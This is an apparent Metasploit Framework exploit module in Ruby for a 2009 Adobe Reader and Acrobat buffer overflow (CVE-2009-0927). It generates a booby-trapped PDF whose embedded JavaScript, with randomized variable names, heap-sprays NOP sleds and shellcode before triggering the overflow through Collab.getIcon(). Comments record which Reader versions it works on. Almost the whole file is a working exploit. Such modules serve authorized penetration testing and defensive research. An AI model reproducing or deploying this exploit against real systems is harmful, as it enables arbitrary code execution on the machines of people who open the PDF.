##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core/exploit/pdf'
require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::PDF

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe Collab.getIcon() Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.
				Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially
				crafted pdf that a contains malformed Collab.getIcon() call, an attacker may
				be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'MC',
					'Didier Stevens <didier.stevens[at]gmail.com>',
					'jduck'
				],
			'References'     =>
				[
					[ 'CVE', '2009-0927' ],
					[ 'OSVDB', '53647' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-014/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# test results (on Windows XP SP3)
					# reader 7.0.5 - no trigger
					# reader 7.0.8 - no trigger
					# reader 7.0.9 - no trigger
					# reader 7.1.0 - no trigger
					# reader 7.1.1 - reported not vulnerable
					# reader 8.0.0 - works
					# reader 8.1.2 - works
					# reader 8.1.3 - reported not vulnerable
					# reader 9.0.0 - works
					# reader 9.1.0 - reported not vulnerable
					[ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],
				],
			'DisclosureDate' => 'Mar 24 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
			], self.class)
	end

	def exploit
		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Make some nops
		nops    = Rex::Text.to_unescape(make_nops(4))

		# Randomize variables
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)
		rand3  = rand_text_alpha(rand(100) + 1)
		rand4  = rand_text_alpha(rand(100) + 1)
		rand5  = rand_text_alpha(rand(100) + 1)
		rand6  = rand_text_alpha(rand(100) + 1)
		rand7  = rand_text_alpha(rand(100) + 1)
		rand8  = rand_text_alpha(rand(100) + 1)
		rand9  = rand_text_alpha(rand(100) + 1)
		rand10 = rand_text_alpha(rand(100) + 1)
		rand11 = rand_text_alpha(rand(100) + 1)
		rand12 = rand_text_alpha(rand(100) + 1)

		script = %Q|
		var #{rand1} = unescape("#{shellcode}");
		var #{rand2} ="";
		for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
		#{rand4} = #{rand2} + #{rand1};
		#{rand5} = unescape("#{nops}");
		#{rand6} = 20;
		#{rand7} = #{rand6}+#{rand4}.length
		while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
		#{rand8} = #{rand5}.substring(0, #{rand7});
		#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
		while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
		#{rand10} = new Array();
		for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
		var #{rand12} = unescape("%0a");
		while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};
		#{rand12} = "N."+#{rand12};
		Collab.getIcon(#{rand12});
					|

		# Create the pdf
		#pdf = make_pdf(script)
		pdf = CreatePDF(script)
		print_status("Creating '#{datastore['FILENAME']}' file...")

		file_create(pdf)
	end

end